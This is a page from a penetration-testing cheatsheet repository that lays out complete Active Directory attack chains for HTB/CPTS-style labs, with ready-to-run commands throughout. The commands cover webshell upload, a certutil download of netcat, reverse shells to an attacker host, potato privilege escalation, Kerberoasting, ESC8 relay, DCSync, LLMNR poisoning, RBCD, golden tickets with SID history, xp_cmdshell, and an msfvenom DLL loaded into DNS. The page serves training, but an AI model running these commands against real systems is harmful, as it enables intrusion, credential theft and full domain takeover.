repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
worked-chains.mdMarkdown306 lines23.5 KiBrendered raw download
---
title: "Appendix — Worked Chains"
description: "Pentest attack-flow reference for appendix — worked chains in an authorised engagement."
category: pentest-workflow
subcategory: "Pentest Attack Flow"
order: 16
tags: ["htb", "htb-attack-flow", "htb-attack-flow-appendix", "pentest-workflow"]
tools: ["NetExec", "Impacket", "BloodHound CE", "Certipy", "Rubeus", "Responder", "bloodyAD", "mimikatz"]
difficulty: advanced
updated: "2026-08-29"
source: "vault:Pentest Attack Flow/16 - Appendix - Worked Chains.md"
---
> [!dashboard] Attack-flow navigation
> **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard)
>
> **Section:** 16 of 17 · **Focus:** Appendix — Worked Chains
>
> **Previous:** [Stage 11 — Documentation and Reporting](/sheets/pentest-workflow/documentation-and-reporting) · **Next:** [Tool Index](/sheets/pentest-workflow/tool-index)

---
# 🧬 APPENDIX — Worked Chains (real boxes, stage-mapped)

The guide is organised by technique; this is the other axis — how the techniques *compose* on real boxes. Each chain is annotated with the guide's stages `[S#]` so you can see the pattern and jump to the deep section. Pattern-recognition beats memorising commands: most AD boxes are **enum → a foothold cred → BloodHound → one ACL/roast edge → DCSync**.

Stage map: `[S0]`=[Passive Recon](/sheets/pentest-workflow/passive-external-recon) · `[S1]`=[Host Discovery](/sheets/pentest-workflow/recon-and-host-discovery) · `[S2]`=[Web](/sheets/pentest-workflow/web-enumeration-and-exploitation) · `[S3]`=[Service Enum](/sheets/pentest-workflow/service-enumeration) · `[S4]`=[AD Enum](/sheets/pentest-workflow/active-directory-enumeration) · `[S5]`=[Kerberos](/sheets/pentest-workflow/kerberos-attacks) · `[S6]`=[ACL Abuse](/sheets/pentest-workflow/acl-and-object-abuse) · `[S7]`=[ADCS](/sheets/pentest-workflow/adcs-and-certificate-abuse) · `[S8]`=[Passwords](/sheets/pentest-workflow/password-attacks-and-credential-hunting) · `[S9]`=[PrivEsc](/sheets/pentest-workflow/privilege-escalation) · `[S10]`=[Lateral/Loot](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) · Trusts=[Cross-Forest](/sheets/pentest-workflow/domain-trusts-and-cross-forest).

> [!tip] The universal AD shape
> `[S1]` scan → `[S3/S4]` null/anon enum for users+shares → a **first credential** (share loot, AS-REP roast, password in a description, a poisoned hash) → `[S4]` BloodHound *as that user* → `[S5/S6/S7]` the one edge that escalates (roast / ACL / delegation / ESC) → `[S10]` DCSync + PtH the Administrator. Every new cred = re-run BloodHound.

<figure class="flow plate corners">
  <figcaption class="flow__cap"><span class="flow__kind">Universal AD chain</span><span class="flow__dir">TD</span></figcaption>
  <div class="flow__body">
    <div class="flow__diagram" data-dir="td">
      <div class="flow-rank"><div class="flow-node is-entry">Web foothold</div></div>
      <div class="flow-edge"></div>
      <div class="flow-rank"><div class="flow-node">Local privesc</div></div>
      <div class="flow-edge"></div>
      <div class="flow-rank"><div class="flow-node">AD enum + BloodHound</div></div>
      <div class="flow-branches">
        <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Kerberoast</div></div>
        <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">ACL edge</div></div>
        <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">ADCS ESC</div></div>
        <div class="flow-lane"><div class="flow-edge"></div><div class="flow-node">Relay / RBCD</div></div>
      </div>
      <div class="flow-join"></div>
      <div class="flow-rank"><div class="flow-node is-goal">DCSync / DA</div></div>
      <div class="flow-edge"></div>
      <div class="flow-rank"><div class="flow-node">Cross-forest via trusts</div></div>
    </div>
  </div>
</figure>

> [!warning] Authorized lab use
> All chains below assume an authorized HTB/CPTS-style lab. Every AD write (ACEs, SPNs, RBCD, shadow creds) is reversible — record what you change and revert it ([Stage 06 OPSEC](/sheets/pentest-workflow/acl-and-object-abuse)).

---

## Chain A — External web → foothold → privesc → DA (kerberoast + ESC8)

The classic CPTS capstone shape: internet-facing web app on a domain-joined host, then the full internal AD grind. MITRE: T1190 (Exploit Public-Facing Application) → T1558.003 (Kerberoasting) → T1649 (ESC8).

1. **`[S0/S1]` Recon.** Subdomains, ports, vhosts:
   ```bash
   nmap -sCV -p- --min-rate 2000 -oA full $IP
   ffuf -u http://$TARGET -H "Host: FUZZ.$TARGET" -w $SECLISTS/Discovery/DNS/subdomains-top1million-5000.txt
   ```
2. **`[S2]` Web → RCE.** Enumerate the app (ffuf dirs, tech fingerprint, known CVE). Upload a webshell matched to the stack — stage from the toolkit: [nt-webshell-rosepine.aspx](/downloads/pentest-workflow/nt-webshell-rosepine.aspx) ([SHA-256](/downloads/pentest-workflow/nt-webshell-rosepine.aspx.sha256)) for IIS, [rp-shell.php](/downloads/pentest-workflow/rp-shell.php) ([SHA-256](/downloads/pentest-workflow/rp-shell.php.sha256)) for PHP, [rp-shell.jsp](/downloads/pentest-workflow/rp-shell.jsp) ([SHA-256](/downloads/pentest-workflow/rp-shell.jsp.sha256)) for Tomcat (classic ASP: [rp-shell.asp](/downloads/pentest-workflow/rp-shell.asp) ([SHA-256](/downloads/pentest-workflow/rp-shell.asp.sha256))).
   ```powershell
   certutil -urlcache -split -f http://$LHOST:8000/nc64.exe C:\Windows\Temp\nc64.exe
   C:\Windows\Temp\nc64.exe $LHOST 443 -e cmd.exe
   ```
   Toolkit: [nc64.exe](/downloads/pentest-workflow/nc64.exe) ([SHA-256](/downloads/pentest-workflow/nc64.exe.sha256))
3. **`[S9]` Local privesc** (if the shell lands as a service account — often `iis apppool\...` with **SeImpersonatePrivilege**):
   ```powershell
   .\GodPotato-NET4.exe -cmd "C:\Windows\Temp\nc64.exe $LHOST 444 -e cmd.exe"
   ```
   Toolkit: [GodPotato-NET4.exe](/downloads/pentest-workflow/GodPotato-NET4.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256)) (or `GodPotato-NET35.exe`, `PrintSpoofer64.exe`, `SweetPotato.exe` — pick per OS build/Spooler state; see [Stage 09](/sheets/pentest-workflow/privilege-escalation)).
4. **`[S4]` BloodHound as the foothold user/machine:**
   ```bash
   bloodhound-ce-python -d $DOMAIN -u "$U" -p "$P" -ns $DCIP -c All --zip
   ```
   On-host alternative: [SharpHound.zip](/downloads/pentest-workflow/SharpHound.zip) ([SHA-256](/downloads/pentest-workflow/SharpHound.zip.sha256))
5. **`[S5]` Kerberoast** an SPN account visible in the graph:
   ```bash
   GetUserSPNs.py "$DOMAIN/$U:$P" -dc-ip $DCIP -request -outputfile kerb.hash
   hashcat -m 13100 kerb.hash $ROCKYOU -r /usr/share/hashcat/rules/best64.rule
   ```
   Deep dive: [Stage 05](/sheets/pentest-workflow/kerberos-attacks).
6. **`[S7]` The cracked service account can reach AD CS.** Find and exploit ESC8 (web enrollment + no EPA):
   ```bash
   certipy-ad find -u "$U@$DOMAIN" -p "$P" -dc-ip $DCIP -vulnerable -stdout
   ntlmrelayx.py -t http://ca.$DOMAIN/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
   PetitPotam.py -u "$U" -p "$P" -d $DOMAIN $LHOST $DCIP    # coerce DC auth to the relay
   ```
   Toolkit: [PetitPotam.py](/downloads/pentest-workflow/PetitPotam.py) ([SHA-256](/downloads/pentest-workflow/PetitPotam.py.sha256)) · certipy: [Certipy](https://github.com/ly4k/Certipy) · relay: [Impacket ntlmrelayx](https://github.com/fortra/impacket).
7. **`[S10]` Use the relayed DC cert → DCSync:** the relay already dropped `DC01$.pfx` — no manual `req` needed (the DomainController template has no enrollee-supplies-subject anyway):
   ```bash
   certipy-ad auth -pfx 'DC01$.pfx' -dc-ip $DCIP       # -> DC01$ NT hash (+TGT)
   secretsdump.py "$DOMAIN/DC01\$@$DC" -hashes :$NT -just-dc   # DCSync as the DC itself
   ```
8. **Document & revert.** Capture proof (`secretsdump` output, cert request IDs), remove the webshell and staged binaries, log ESC8 remediation ([Stage 11](/sheets/pentest-workflow/documentation-and-reporting)).

> [!example] When to reach for this chain
> Any box where the only ingress is 80/443 and the DC is not directly reachable. The web foothold host *is* your pivot into `[S4]`.

> [!opsec] Detection notes
> Webshells (T1505.003) are the #1 caught artifact — use a random name, delete after. Coercion + relay (T1187, T1557.001) fires Defender for Identity and creates Event 4768/4769 anomalies. ESC8 cert requests appear on the CA — note request IDs for cleanup.

---

## Chain B — ASREPRoast → GenericWrite → targeted kerberoast → DCSync

No creds needed to start; pure identity attacks. MITRE: T1558.004 (AS-REP Roasting) → T1558.003 → T1003.006 (DCSync).

1. **`[S4]` Build a user list** without creds:
   ```bash
   kerbrute userenum --dc $DCIP -d $DOMAIN $SECLISTS/Usernames/xato-net-10-million-usernames.txt
   enum4linux-ng -A $IP | tee enum.txt     # or rpcclient -U "" -N → enumdomusers
   ```
   Toolkit: [kerbrute_linux_amd64](/downloads/pentest-workflow/kerbrute_linux_amd64) ([SHA-256](/downloads/pentest-workflow/kerbrute_linux_amd64.sha256))
2. **`[S5]` AS-REP roast** the list ([Stage 05](/sheets/pentest-workflow/kerberos-attacks)):
   ```bash
   GetNPUsers.py $DOMAIN/ -usersfile users.txt -no-pass -dc-ip $DCIP -outputfile asrep.hash
   hashcat -m 18200 asrep.hash $ROCKYOU
   ```
3. **`[S4]` BloodHound as the cracked user** (`bloodhound-ce-python -c All`) — the graph shows **GenericWrite** on a privileged service account (e.g. `svc_sql`).
4. **`[S6]` Targeted kerberoast** — write an SPN onto the victim, roast it, clean up:
   ```bash
   targetedKerberoast.py -d $DOMAIN -u "$U" -p "$P" --request-user svc_sql -o targeted.hash
   hashcat -m 13100 targeted.hash $ROCKYOU
   ```
   Toolkit: [targetedKerberoast.py](/downloads/pentest-workflow/targetedKerberoast.py) ([SHA-256](/downloads/pentest-workflow/targetedKerberoast.py.sha256)) — it removes the SPN afterwards; verify anyway (`Get-ADUser svc_sql -Properties servicePrincipalName`).
5. **`[S6]` The cracked svc_sql has GenericAll/WriteDACL on a DA-path group** (or the domain root). Add DCSync rights:
   ```bash
   bloodyAD --host $DCIP -d $DOMAIN -u "$U" -p "$P" add dcsync svc_sql
   # or: dacledit.py -action write -rights DCSync -principal svc_sql -target-dn "DC=corp,DC=local" "$DOMAIN/$U:$P" -dc-ip $DCIP
   ```
   On-host equivalent: [StandIn_v13_Net35_45.zip](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip) ([SHA-256](/downloads/pentest-workflow/StandIn_v13_Net35_45.zip.sha256))
6. **`[S10]` DCSync and PtH:**
   ```bash
   secretsdump.py "$DOMAIN/svc_sql:$P@$DC" -just-dc-user administrator
   evil-winrm -i $DCIP -u administrator -H $NT
   ```
7. **Revert:** remove the DCSync ACE (`bloodyAD remove dcsync svc_sql`), confirm the SPN cleanup, log it.

> [!warning] Pitfalls
> - AS-REP hash mode is **18200**, not 13100 — read the `$krb5asrep$` prefix.
> - GenericWrite ≠ instant roast: you need the SPN write (targetedKerberoast) or shadow credentials (`pywhisker` / [Whisker.exe](/downloads/pentest-workflow/Whisker.exe) ([SHA-256](/downloads/pentest-workflow/Whisker.exe.sha256))).
> - `WriteDACL` on the domain root → DCSync; on a user → targeted roast/shadow creds; on a group → add member. Pick per object type.

---

## Chain C — No creds at all: LLMNR poison → relay → LDAP → RBCD

For flat networks where SMB signing is off and LDAP signing/channel binding aren't enforced. MITRE: T1557.001 (LLMNR/NBT-NS Poisoning) → T1003.006 via delegation abuse.

1. **`[S3]` Poison and capture** ([Stage 03](/sheets/pentest-workflow/service-enumeration)):
   ```bash
   sudo responder -I eth0 -dwv
   # Windows-side when already on a host: Inveigh
   ```
   Toolkit: [Inveigh.ps1](/downloads/pentest-workflow/Inveigh.ps1) ([SHA-256](/downloads/pentest-workflow/Inveigh.ps1.sha256)) (`Invoke-Inveigh -ConsoleOutput Y`).
2. **Crack any NetNTLMv2 that drops** (`hashcat -m 5600`) — even one weak user unlocks `[S4]` BloodHound.
3. **`[S3]` Relay instead of crack** — check signing first:
   ```bash
   nxc smb $SUBNET --gen-relay-list relay.txt     # hosts with signing disabled
   ```
4. **Relay to LDAP(S) → configure RBCD.** Start `ntlmrelayx` and drop a controlled machine account ([Stage 06](/sheets/pentest-workflow/acl-and-object-abuse)):
   ```bash
   ntlmrelayx.py -t ldap://$DCIP -smb2support --delegate-access --escalate-user 'EVILPC$' -l loot
   addcomputer.py -computer-name 'EVILPC$' -computer-pass 'Ev1lPass!' "$DOMAIN/$U:$P" -dc-ip $DCIP  # if MAQ>0 and no relay create
   ```
   Trigger a lookup (`responder -I eth0` + browse, or coerce with [PetitPotam](https://github.com/topotam/PetitPotam)/[Coercer](https://github.com/p0dalirius/Coercer)) and the victim machine's `msDS-AllowedToActOnBehalfOfOtherIdentity` now trusts `EVILPC$`.
5. **`[S5]` S4U2Self → S4U2Proxy** — impersonate Administrator to the victim:
   ```bash
   getST.py "$DOMAIN/EVILPC$:Ev1lPass!" -spn cifs/victim.$DOMAIN -impersonate administrator -dc-ip $DCIP
   export KRB5CCNAME=administrator@cifs_victim.$DOMAIN@$DOMAIN.ccache
   psexec.py -k -no-pass victim.$DOMAIN
   ```
6. **`[S10]` Loot & pivot**: `secretsdump.py -k` the victim, pivot onward with ligolo-ng — [ligolo-ng_agent_linux_amd64.tar.gz](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_linux_amd64.tar.gz.sha256)) / [ligolo-ng_agent_windows_amd64.zip](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip) ([SHA-256](/downloads/pentest-workflow/ligolo-ng_agent_windows_amd64.zip.sha256)) + [chisel.exe](/downloads/pentest-workflow/chisel.exe) ([SHA-256](/downloads/pentest-workflow/chisel.exe.sha256)) / [chisel_linux_amd64](/downloads/pentest-workflow/chisel_linux_amd64) ([SHA-256](/downloads/pentest-workflow/chisel_linux_amd64.sha256)).

> [!opsec] Relay caveats
> Relaying is loud: LLMNR/NBT-NS broadcasts + auth coercion are textbook Defender for Identity / honeypot bait (T1557.001). Never relay to a DC unless the engagement says so; never disable the Spooler service as a "fix" on a production box. LDAP relay requires LDAP signing off *and* (for LDAPS) channel binding off — check with `nxc ldap $DCIP -u '' -p '' -M ldap-checker` style modules before burning time.

---

## Chain D — DA in child domain → forest root → cross-forest (SID history)

The trusts capstone. MITRE: T1134 (SID-History Injection), T1550.003 (PtT). Deep dive: [Domain Trusts and Cross-Forest](/sheets/pentest-workflow/domain-trusts-and-cross-forest).

1. **Map the trust topology** (on-host: `nltest /domain_trusts`, or PowerView `Get-DomainTrust` — [PowerView.ps1](/downloads/pentest-workflow/PowerView.ps1) ([SHA-256](/downloads/pentest-workflow/PowerView.ps1.sha256))):
   ```bash
   ldeep ldap -u "$U" -p "$P" -d child.$DOMAIN -s ldap://$DCIP trusts
   ```
2. **Child → parent (intra-forest).** Trust key → golden ticket with SID history (Enterprise Admins RID 519):
   ```bash
   lookupsid.py "$DOMAIN/$U:$P@$DCIP" | head -3     # child domain SID
   secretsdump.py child/administrator@child-dc.child.$DOMAIN -just-dc-user 'CHILD\krbtgt' -hashes :$NT
   ticketer.py -nthash <KRBTGT_NT> -domain child.$DOMAIN -domain-sid S-1-5-21-... -extra-sid S-1-5-21-<PARENT>-519 administrator
   raiseChild.py child.$DOMAIN/$U:"$P"     # one-shot alternative
   export KRB5CCNAME=administrator.ccache
   secretsdump.py -k parent.$DOMAIN/administrator@parent-dc.parent.$DOMAIN -just-dc
   ```
3. **Forest → trusting forest (external/forest trust).** From DA in forest A, dump the **trust account hash** for forest B:
   ```bash
   mimikatz.exe "lsadump::trust /patch" "exit"
   # or: secretsdump.py ... (trust accounts end in '$', e.g. TRUSTEDDOM$)
   ticketer.py -nthash <TRUST_NT> -domain forest-a.local -domain-sid S-1-5-21-A -extra-sid S-1-5-21-B-519 administrator
   ```
   Toolkit: [mimikatz_trunk.zip](/downloads/pentest-workflow/mimikatz_trunk.zip) ([SHA-256](/downloads/pentest-workflow/mimikatz_trunk.zip.sha256))
4. **`[S10]` Consume the ticket** in the trusting forest: `KRB5CCNAME=... secretsdump.py -k admin@dc.forest-b.local -just-dc`.

> [!warning] Gotchas
> - **SID filtering** on external trusts strips SIDs <1000 from *other* forests — but intra-forest (parent↔child) never filters, which is why child→root always works. Extra SID `-519` (Enterprise Admins) for intra-forest; for cross-forest you may be limited to RIDs ≥1000 — inject a known admin group RID from forest B instead.
> - RC4 trust keys are the norm; if `KDC_ERR_ETYPE_NOSUPP`, use AES (`-aesKey`).
> - Trust tickets are time-sensitive — `faketime`/ntpdate first ([Dashboard Quick Setup](/sheets/pentest-workflow/attack-flow-dashboard)).

---
## Chain E — MSSQL links → xp_cmdshell → SeImpersonate → SYSTEM

SQL Server is a privilege-escalation engine when links and `sysadmin` line up. MITRE: T1505.001 (SQL Stored Procedures) → T1134 (Token Impersonation).

1. **`[S3]` Find MSSQL and authenticate** (creds from spray/roast/loot):
   ```bash
   nxc mssql $SUBNET -u "$U" -p "$P" --local-auth
   mssqlclient.py "$DOMAIN/$U:$P@$IP" -windows-auth
   ```
2. **Enable `xp_cmdshell` for a command channel:**
   ```sql
   EXEC sp_configure 'show advanced options',1; RECONFIGURE;
   EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
   EXEC xp_cmdshell 'whoami';
   ```
   Or directly from nxc: `nxc mssql $IP -u "$U" -p "$P" --local-auth -x whoami`.
3. **Enumerate linked servers and impersonate along the chain:**
   ```sql
   EXEC sp_linkedservers;
   SELECT IS_SRVROLEMEMBER('sysadmin');
   EXEC ('EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE') AT LINKED02;
   EXEC ('EXEC xp_cmdshell ''whoami''') AT LINKED02;
   ```
   nxc shortcut: `nxc mssql $IP -u "$U" -p "$P" -M mssql_priv` (finds impersonation paths). Each hop may re-authenticate as a more privileged login — walk links until you land `sysadmin` on a high-value box. Metasploit's `mssql_linkcrawler` automates the crawl.
4. **`[S9]` SeImpersonate → SYSTEM.** SQL service accounts (`nt service\mssqlserver`) almost always hold SeImpersonatePrivilege:
   ```powershell
   .\GodPotato-NET4.exe -cmd "net localgroup administrators $U /add"
   ```
   Toolkit: [GodPotato-NET4.exe](/downloads/pentest-workflow/GodPotato-NET4.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256)) — fallbacks: [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256)) (needs Spooler running), [SweetPotato.exe](/downloads/pentest-workflow/SweetPotato.exe) ([SHA-256](/downloads/pentest-workflow/SweetPotato.exe.sha256)), legacy [JuicyPotato.exe](/downloads/pentest-workflow/JuicyPotato.exe) ([SHA-256](/downloads/pentest-workflow/JuicyPotato.exe.sha256)) on pre-2019 builds.
5. **`[S10]` Loot the host**: dump local creds with [LaZagne.exe](/downloads/pentest-workflow/LaZagne.exe) ([SHA-256](/downloads/pentest-workflow/LaZagne.exe.sha256)), DPAPI blobs with [SharpDPAPI.exe](/downloads/pentest-workflow/SharpDPAPI.exe) ([SHA-256](/downloads/pentest-workflow/SharpDPAPI.exe.sha256)), then hunt domain shares with [Snaffler.exe](/downloads/pentest-workflow/Snaffler.exe) ([SHA-256](/downloads/pentest-workflow/Snaffler.exe.sha256)) — SQL boxes often hold connection strings with cleartext domain creds, feeding you back to `[S4]`.

> [!tip] CPTS exam tip
> MSSQL on 1433 with weak/linked creds is a favourite CPTS escalation. Always check `sp_linkedservers` and impersonation *before* reaching for kernel exploits — the intended path is usually one `EXEC ... AT LINK` away.

---

## Chain F — HTB box patterns (Forest · Resolute · Fluffy)

### Forest — AS-REP → Exchange-perms WriteDACL → DCSync
1. `[S3]` RPC/LDAP null session lists domain users (`rpcclient -U "" -N` → `enumdomusers`).
2. `[S5]` **svc-alfresco** has no Kerberos preauth → AS-REP roast (`GetNPUsers.py -no-pass`) → crack (`hashcat -m 18200` against `$ROCKYOU`).
3. `[S4]` BloodHound as svc-alfresco: it's in **Account Operators** + **Exchange Windows Permissions** (WriteDACL on the domain root).
4. `[S6]` grant self DCSync (`dacledit.py -action write -rights DCSync` / `bloodyAD add dcsync`).
5. `[S10]` `secretsdump.py -just-dc` → PtH Administrator (`evil-winrm -H $NT`).
Note: HTB-Forest.

### Resolute — password in a description → spray → DnsAdmins DLL → SYSTEM
1. `[S4]` LDAP/RPC enum surfaces a cleartext password in a user **description** field (`Welcome123!`) — always grep descriptions and `info` fields ([Stage 04](/sheets/pentest-workflow/active-directory-enumeration)).
2. `[S8]` spray it across all users (`nxc smb $DCIP -u users.txt -p 'Welcome123!' --continue-on-success`) → hits **melanie** ([Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting)).
3. `[S10]` WinRM in (`evil-winrm -u melanie -p ...`) → hunt the host, find creds for **ryan** (registry `AutoLogon`, console history).
4. ryan is in **DnsAdmins** → `[S9]` load a malicious DLL into the DNS service:
   ```cmd
   msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f dll > rev.dll
   dnscmd $DC /config /serverlevelplugindll \\$LHOST\smb\rev.dll
   sc \\$DC stop dns && sc \\$DC start dns
   ```
   → SYSTEM on the DC. Note: Resolute.

### Fluffy — file-format NTLM capture → Shadow Creds → ADCS
1. `[S3]` writable SMB share → drop a malicious `.library-ms` (CVE-2025-24071) so opening the share coerces NTLM auth → capture with [Responder](https://github.com/lgandx/Responder).
2. `[S8]` crack **j.fleischman** (`hashcat -m 5600`).
3. `[S4]` BloodHound: **GenericWrite** onto service accounts.
4. `[S6]` Shadow Credentials (`bloodyAD add shadowCredentials` / [pywhisker](https://github.com/ShutdownRepo/pywhisker)) to take **winrm_svc**, then again onto **ca_svc**. On-host equivalent: [Whisker.exe](/downloads/pentest-workflow/Whisker.exe) ([SHA-256](/downloads/pentest-workflow/Whisker.exe.sha256)).
5. `[S7]` ca_svc can enroll a vulnerable template → ADCS ESC (`certipy-ad find -vulnerable` → `req` → `auth`) → auth as DA → `[S10]` own the domain.
Notes: HTB-Fluffy · Fluffy Attack Plan.

### The web-to-AD pattern (many CPTS/AEN boxes)
`[S0/S2]` external recon + web enum finds an app → `[S2]` an app-specific exploit (upload/LFI/known-CVE/thick-client creds) → foothold shell on a domain-joined host → `[S9]` local privesc if needed → `[S4]` you're now inside AD: BloodHound + LDAP cookbook as the machine/user → follow the AD shape above. The [**Attacking Enterprise Networks**](/sheets/pentest-workflow/htb-attack-flow-playbook) capstone is exactly this, end to end — see that sheet for the full INLANEFREIGHT chain written out command by command. Chain A above is this pattern written out step by step.

> [!note] More box notes to mine for patterns
> Garfield (Season 10), the Pro-Lab chains (Dante, Zephyr), and the AD Track. Same shape scaled up: multiple hosts, pivots between segments ([Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot)), and trusts ([Cross-Forest](/sheets/pentest-workflow/domain-trusts-and-cross-forest)) once you're DA in the first domain.

> [!example] Pattern-recognition cheat table
> | Box | First cred | Escalation edge | DA via |
> |---|---|---|---|
> | Forest | AS-REP roast (svc-alfresco) | Exchange WriteDACL on domain | DCSync |
> | Resolute | Description-field password → spray | DnsAdmins | Malicious DNS plugin DLL |
> | Fluffy | NTLM capture via .library-ms | GenericWrite → Shadow Creds | ADCS ESC enroll |
> | Typical CPTS | Share loot / kerberoast | One ACL or ESC edge | DCSync + PtH |

---

> [!navigation] Continue the attack flow
> **Previous:** [Stage 11 — Documentation and Reporting](/sheets/pentest-workflow/documentation-and-reporting)
>
> **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard)
>
> **Next:** [Tool Index](/sheets/pentest-workflow/tool-index)